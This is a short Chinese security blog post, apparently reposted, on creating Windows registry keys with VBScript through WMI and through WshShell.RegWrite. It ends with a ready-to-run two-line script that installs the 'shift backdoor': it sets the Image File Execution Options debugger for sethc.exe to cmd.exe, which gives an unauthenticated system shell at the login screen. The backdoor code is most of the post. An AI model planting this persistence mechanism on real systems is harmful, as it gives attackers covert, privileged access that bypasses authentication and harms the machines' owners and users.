vbs创建注册表项 's

admin 2017年5月3日13:09:47评论342 views字数 889阅读2分57秒阅读模式
摘要

作者:lcx利用vbs创建注册表值较简单,创建注册表项的话,网上多是用wmi来,例如代码:

作者:lcx

利用vbs创建注册表值较简单,创建注册表项的话,网上多是用wmi来,例如代码:

const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_ strComputer & "/root/default:StdRegProv") strKeyPath = "SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe"  ‘创建sethc.exe项 oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

难道WshShell 对象的RegWrite 方法真的不可以吗?我仔细研究了一下,只需要在要加入的项后加/就可以,例如

Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe/","","REG_SZ"

所以我们创建shift后门的话,两句话就可以。

Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe/debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"/system32/cmd.exe","REG_SZ"

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月3日13:09:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vbs创建注册表项 'shttp://cn-sec.com/archives/44819.html

发表评论

匿名网友 填写信息